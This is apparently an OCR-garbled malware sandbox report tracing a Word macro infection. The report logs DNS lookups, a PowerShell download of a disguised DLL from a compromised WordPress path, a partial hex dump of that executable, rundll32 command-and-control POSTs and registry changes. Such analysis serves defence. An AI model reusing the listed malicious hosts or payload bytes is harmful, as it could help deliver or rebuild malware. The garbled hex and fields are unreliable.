Jan 12, 2021 20:31:05.366033077 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366055965 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.366070986 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366110086 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366134882 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.366153955 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366203070 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366208076 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.366245031 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366283894 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366307974 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.366324902 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366364956 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366388083 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.366400957 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.366441965 CET 80 49167 109.232.216.177 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 20:31:04.424675941 CET 52197 53 192.168.2.22 8.8.8.8

Jan 12, 2021 20:31:04.484715939 CET 53 52197 8.8.8.8 192.168.2.22

Jan 12, 2021 20:31:05.009018898 CET 53099 53 192.168.2.22 8.8.8.8

Jan 12, 2021 20:31:05.065613985 CET 53 53099 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 12, 2021 20:31:04.424675941 CET 192.168.2.22 8.8.8.8 0x71dd Standard query  remediis.com A (IP address) IN (0x0001)
(0)

Jan 12, 2021 20:31:05.009018898 CET 192.168.2.22 8.8.8.8 0x8b68 Standard query  avadnansah A (IP address) IN (0x0001)
0) in.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 12, 2021 8.8.8.8 192.168.2.22 0x71dd No error (0) remediis.com 5.2.81.171 A (IP address) IN (0x0001)

20:31:04.484715939

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 0x8b68 No error (0) avadnansah 109.232.216.177 A (IP address) IN (0x0001)

20:31:05.065613985 in.com

CET

HTTP Request Dependency Graph

e avadnansahin.com
e 69.49.88.46

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Jan 12, 2021 3

20:31:05.140002012 CET

Copyright null 2021

Source Port

49167

Direction

ouT

Destination IP Destination Port

109.232.216.177 80

Data

GET /wp-includes/w/ HTTP/1.1
Host: avadnansahin.com
Connection: Keep-Alive

Process

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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kBytes
Timestamp transferred

Jan 12, 2021 4
20:31:05.219491005 CET

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jan 12, 2021 358

20:31:34.827358961 CET

Copyright null 2021

Direction

IN

Source Port

49169

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: Keep-Alive

X-Powered-By: PHP/7.0.33

Set-Cookie: 5ffdf8f92dc15=1610479865; expires=Tue, 12-Jan-2021 19:32:05 GMT; Max-Age=60; path=/

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Last-Modified: Tue, 12 Jan 2021 19:31:05 GMT

Expires: Tue, 12 Jan 2021 19:31:05 GMT

Content-Type: application/octet-stream

Content-Disposition: attachment; filename="Rq7pzbnT415DFc.dIl"

Content-Transfer-Encoding: binary

Transfer-Encoding: chunked

Date: Tue, 12 Jan 2021 19:31:05 GMT

Data Raw: 31 30 30 30 30 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 5a de fd 5f 00 00 00 00 00 00 00 00
€0 00 Oe 21 Ob 01 02 32 00 46 00 00 00 d4 04 00 00 00 00 00 fO 21 00 00 00 10 00 00 00 60 00 00 00 00 00 10 00 10 00
00 00 02 00 00 03 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 05 00 00 04 00 00 01 09 06 00 02 00 00 00 00 00
10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 70 00 00 64 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 05 00 58 15 00 00 00 50 05 00 d4 07 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 78 72 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00
00 00 8b 43 00 00 00 10 00 00 00 44 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74
61 00 00 Oc 01 00 00 00 60 00 00 00 02 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74
61 00 00 00 d8 08 00 00 00 70 00 00 00 Oa 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 65
78 74 34 00 00 a4 bf 04 00 00 80 00 00 00 cO 04 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74
65 78 74 35 00 00 64 00 00 00 00 40 05 00 00 02 00 00 00 14 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e
72 65 6¢ 6f 63 00 00 d4 07 00 00 00 50 05 00 00 08 00 00 00 16 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 O
000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

Data Ascii: 10000MZ@!L!This program cannot be run in DOS mode.$PELZ_!12F!" " pdXPxr.textCD ".rdata H@@.
datap)@.text4dT@.text5d@ @.relocP@B

Destination IP Destination Port Process

69.49.88.46 80 C:\Windows\SysWOW64\rundll32.exe

Data

POST /fumwyj93myhz6vi/3lptbz7/e6hgkyw77ui/dujy6/2toe6aqef56s/cxrwnsgx/ HTTP/1.1

DNT: 0

Referer: 69.49.88.46/fumwyj93myhz6vi/3lptbz7/e6hgkyw77ui/dujy6/2toe6agef56s/cxrwnsox/

Content-Type: multipart/form-data; boundary=- HZtvsb4igah9tnyWw329

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 69.49.88.46

Content-Length: 5492

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 12, 2021

kBytes
transferred Direction

365 IN

20:31:37.310410976 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 12 Jan 2021 19:31:37 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 66 30 34 0d Oa 5c b4 e8 Oa df c8 fc 15 5f 14 03 90 17 91 42 95 bb 60 9b 10 9a 31 8d f3 aa e5 ca 57 d1 60 dc
2a 41 15 f0 08 8¢ 83 69 a7 3e 6e 91 b1 28 72 e9 02 0f d2 29 ab dc 4e e4 d8 82 38 74 3¢ b7 d7 70 98 a0 07 f2 2a el a8 15
da d3 60 74 37 51 a7 33 46 fb 40 f6 9d 64 40 be 1d 2a 15 09 7e 09 d0 1d 3c 49 e9 08 d7 30 aa 4b fb 05 91 50 2b d7 39 13
2a 6d 3c f5 e4 bd 5¢ 37 20 7d a6 2e b0 32 8d ec 9b e0 17 e8 8f b6 02 1b 91 9a 06 5b a8 35 10 4d db b4 8c 1d 85 7a 70 9a
le fb b3 9b 01 80 2a 15 4f 86 81 0f 9a 03 8e 86 62 9b ba 01 61 eb a6 b2 7d a9 7b 65 4b e5 d5 28 ee 2a 77 71 59 7e d9 b8
ef a3 b7 93 25 49 cc b8 76 8d 68 41 4e 7e 19 45 99 14 c0 e5 bl ef d4 24 5b a4 6d 8e c4 f2 ac 70 28 3d 60 1b 6a 87 dd ca
c3 fa 6d 58 4b ba 20 a3 51 19 f1 ea e9 00 54 52 62 a8 de a7 fd d2 a4 {7 a6 b3 2c 55 cb 25 8d 8b 94 58 ff c3 bb f2 af 34 8b
7f 1f 1c le 32 14 48 93 36 bc b5 78 ab a5 46 33 2f 34 8d c0 cd 2a eb 75 b0 d9 7b 8d 34 21 c0 20 84 0a Ob 8 9f c3 35 d8
a8 ef 4c 21 9d dd 3e dc 59 91 7a b3 8¢ f1 85 aa 2f Oc d8 62 a4 13 1d ed 7b f9 d9 8d 53 3a a6 3e 5¢ 4a el 3a 00 62 19 b7
8a 3c 2d 43 aa ba 94 4f 74 23 00 7f 39 2b dc 08 38 b5 8b 60 13 aa 85 fd 7c 75 fc ba 9b 0f 87 21 ca 99 7b 5f 31 ee 73 68 01
87 a9 9f 9b a0 79 ef 78 b0 8f 66 a3 f7 d1 02 39 52 2f f1 09 2c 52 56 58 b3 b5 a4 d7 f2 89 1d e2 6e 2e c2 4d 96 7b fa 37 99
€7 7c 36 e2 24 f7 0b 77 62 69 be 7f d1 cf 5a 22 60 39 11 7e 2a fc 94 25 9c 3f 79 15 50 2a 34 6¢ a0 15 d6 8c 8f 53 21 eb
67 2d bl ee d8 43 30 f1 bb cb 7c d6 cd 1e 75 2b 45 bf d4 2b 88 c1 7f 77 4f 23 fe 8b 63 24 62 2b d9 87 f9 9a fd 9c 5¢ b7 45
47 72 19 d7 40 4a 78 66 3b 5b 6e e7 96 4a c2 48 24 15 ff e7 99 €9 07 5a 1e 8d 85 e7 ee Oa 83 46 93 63 82 76 7a ff 20 4c
6b 0a b6 1f 40 af 92 7d 49 7c a5 00 15 f6 3a 21 14 95 44 Oe a9 e4 1d 3 69 1e 88 f4 f9 2d 7c 4f 3f 2e a3 a9 d1 80 08 11 3d
75 b3 dd 32 9f 91 02 62 66 34 25 74 ec a3 d9 d9 70 46 54 11 63 76 42 da cc 5d 85 22 60 e9 27 1f cc 02 c9 e7 fc 51 a4 1d
le e3 9f Oc 3b ec 7c ed 81 8f 48 63 13 ce 0f d5 2e 54 d7 fd 43 0d 81 b7 70 ab 2c b1 57 57 c4 26 e8 33 f0 25 fa 01 1e 47 28
bd cb ab 6d 8c e2 7e b2 dd ae 4e 20 22 6e af 53 Oc 53 28 ea 98 d9 e0 e4 7b 70 c4 d1 db ad 5d Oc 16 40 dc 43 e5 bf b4 e2
db 78 a2 a9 ad ae Of 3b af 8f 66 el b3 34 97 41 7d b1 45 0f 33 ef 53 1f 27 b5 06 10 b6 a5 2f 24 e9 27 89 14 8b 48 69 Oe
69 66 f8 ee 9e de 5d a3 ca 7a f6 77 57 4b 59 96 5c 8c 99 8b 18 e8 de 20 6f 8b 1f 30 cO 29 8f 2e ee c1 cb d8 1b 1d 73 b7
78 a6 1a Oc 28 c6 8a 82 09 01 Oe e0 d2 8f al 78 8¢ d2 f4 f6 b9 18 58 d7 94 d2 00 2d b4 ea 85 60 20 c9 dc 37 c2 a8 a7 b4
5e b5 06 08 8f 69 dc 9b b6 1f 3b 02 31 c2 21 26 eb 69 6a 09 ec 89 06 73 49 16 83 63 78 bb 4a d7 1a 01 4b a8 02 d1 61 55
92 3f 30 52 f9 91 e5 3d fc 91 b4 f0 32 e2 90 86 d8 94 f6 db e0 ae 9e 12 a3 87 17 99 ab 97 8b a5 5a de 5b 4c 32 39 58 94
ef 1b 71 02 74 c6 9f f5 56 8a 10 e6 4e bl b7 43 49 b2 1a 79 6b 22 37 8a c0 85 00 2b 7f 52 f5 de dd ac a5 90 3d 2a 1d f5
59 a7 2c 7e ee a9 11 7f 05 82 81 ce 5d fd 09 06 f5 e4 fb fO 1c 13 d5 d2 64 94 ¢1 f1 85 ec 84 11 ce 22 52 82 15 2d b4 a2 f1
0f d4 b0 08 b3 c2 f9 83 39 al 2b 05 44 db 95 53 16 9d f5 62 1d e0 bb 89 97 a4 5 32 99 27 ca Ob 22 03 3a bl df 8b a2 ca a
7 1e 77 6¢ 5b 36 bd 12 42 19 ff 20 86 5d 8b Ob 04 c6 af 05 ca cf 46 5d dc e3 c9 f2 f6 fa 05 2d 88 87 bf 2a 65 28 ce 9b 59
€3 06 c2 df 82 1b ac 8d 8b 64 1d b2 23 6e 43 07 31 82 62 a4 e2 7b 52 da 25 48 2f 12 2b 06 79 20 ee cd 6b 1a 43 f7 b7 17
5e 48 f9 35 bf 34 85 46 {3 8e 01 53 7e c1 00 d6 bc f8 7 92 c7 af 8e 73 64 7b 63 1e

Data Ascii: f04\_B 1W *Ai>n(r)N8t<p*'t7Q3F@d@*~<I0KP+9*m<\7 }.2[5SMzp*Oba}{eK(*wqY~%IVhAN~E$[mp(="jmXK
QTRb,U%X42H6xF3/4*uf4! 5L1>Yz/b{S:>\J:b<-COt#9+8"|u{_1shyxfOR/,RVXn.M{7|6$whiz" 9~*%?yP*4IS!g-CO|
Uu+E+wO#c$h+HEGr@Jxf;[nJH$ZFcvz Lk@}|:!Di-|0?.=u2bf4%tpFTcvB]"'Q;|Hc. TCp, WW&3%G(m~N "nSS({p]@Cx;f4A
JE3S'/$'Hiif]zwWKY\ 00).sx(xX-" 77i;11&ijslcxJKaU?0R=2Z[L29XqtVNCIyk"7+R=*Y,~]d"R-9+DSh2":wlI[6B |F]-*e(Yd#nC1
b{R%H/+y kC"H54FS~sd{c

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 2336 Parent PID: 584

General

Start time: 20:30:34
Start date: 12/01/2021
Path:

Wow64 process (32bit): false

Commandline:

Imagebase: 0x13f120000
File size: 1424032 bytes
MD5 hash:

Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Reputation: high
File Activities
File Created
File Path Access Attributes Options

read data or list device
directory |
synchronize

C:\Users\user\AppData\Local\Temp\VBE

directory file |
synchronous io
non alert | open

95C38D04597050285A18F66039EDB456

C, C++ or other language

Completion

success or wait 1

for backup ident
| open reparse

point

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\~DFDE2877DCDD6AFFOB.TMP

Old File Path New File Path

File Path Offset Length Value Ascii

File Read

File Path Offset

C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown
Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F4AF5

Copyright null 2021

Completion

success or wait

Completion

Completion

Length Completion

1 success or wait

4096

Completion Count
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

P R R R R R R

success or wait

Count Address

success or wait

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding

Source
Symbol

7FEE91826B4 CreateDirectoryA

Source
Count Address Symbol
1 7FEE90A9ACO unknown

Source
Count Address Symbol

Source
Count Address Symbol

Source

Count Address Symbol
1 7FEE8E5EC53 ReadFile

1 7TFEESE66CAC ReadFile

Source

Address Symbol

7FEE90BE72B RegCreateKeyExA
7FEE90BE72B RegCreateKeyExA
7FEE90BE72B RegCreateKeyExA
7FEE90A9ACO unknown
7FEE90A9ACO unknown
7FEE90A9ACO unknown

7FEE90A9ACO unknown
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Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F4AF5

Copyright null 2021

Name

Cambria Math

Tahoma

F4AF5

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 20 09 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
51 CD D3 EA 64 E9 D6 01 F5 4A OF
00 F5 4A OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol
1 7FEE90A9ACO unknown
1 7FEE90A9ACO unknown
1 7FEE90A9ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F4AF5

Copyright null 2021

Name

ProductFiles

ProductFiles

F4AF5

Type

dword

dword

binary

Name

Type

Old Data
1378615342

1378615343

04 00 00 00 20 09 00 00 2A 00

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

New Data

1378615343

1378615344

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 51
CD D3 EA 64 E9 D6 01 F5 4A
OF 00 F5 4A OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 F5 4A
OF 00 F5 4A OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

04 00 00 00 20 09 00 00 2A 00 success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7FEE90A9ACO unknown

7FEE90A9ACO unknown

7FEE90A9ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
AP QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
